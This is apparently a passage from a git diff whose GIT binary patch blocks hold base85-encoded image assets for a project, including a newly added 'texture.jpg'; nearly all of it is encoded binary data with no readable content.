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 D7fFmG literal 0 HcmV?d00001 diff --git a/resources/ulc/src/src/assets/texture.jpg b/resources/ulc/src/src/assets/texture.jpg new file mode 100644 index 0000000000000000000000000000000000000000..0e6c997df4e4788d8c68f51a3e412e9daca7ac4a GIT binary patch literal 3647 zcmV-F4#4sM*#F=F5K2Z#MgRc;000310RRC1+W-v@C-b@AlJ$sKjt$UV1hW#z-oaWZ{M9qWBfV^{SLtM@F+O@1NqRqNt4 z5|D4A74)mKiCvXnYnCb8spK{5)W6Hh zn>8=x&+pWJg*fV>>Y9aytC=Q(tL9a}DZR%d6yvy2X^_g=D7X5P ziLiEQW6#^UYRqxTae2NZxcP3Y{Yu9aO?4)yf2j$3>xq3&Wk_jDxEPsnj}onFJ9NtH zO;tdnnm4a;ey04l0>YzurKu~&ABcAR?mPS)%KrZVnGQy(rCEAw+>h(;0kk}<_v$xe zYx^x*!rZd8@$skOg7wsOpej`4-MiE;DyK)^n5H~3t1k5? z>TC4M?W+6y%+hmo`|4{TDW>FYZ}QBwZFKMEYPDgwDUXjq9FgzyEWB5{s+PFK-SP1P z$Leq9Y2(W2IfV;&;{?cf+aDD<`@{G){wg(Q`S%YO%K6tZ+4R-^U{!428j5RIBn^7p zgjz%M431Ibh??U4$g_I4nKoYm%!J;)NmvQw{g@w4sV-`$+i-my>KWrrTd(&OZ7QGl 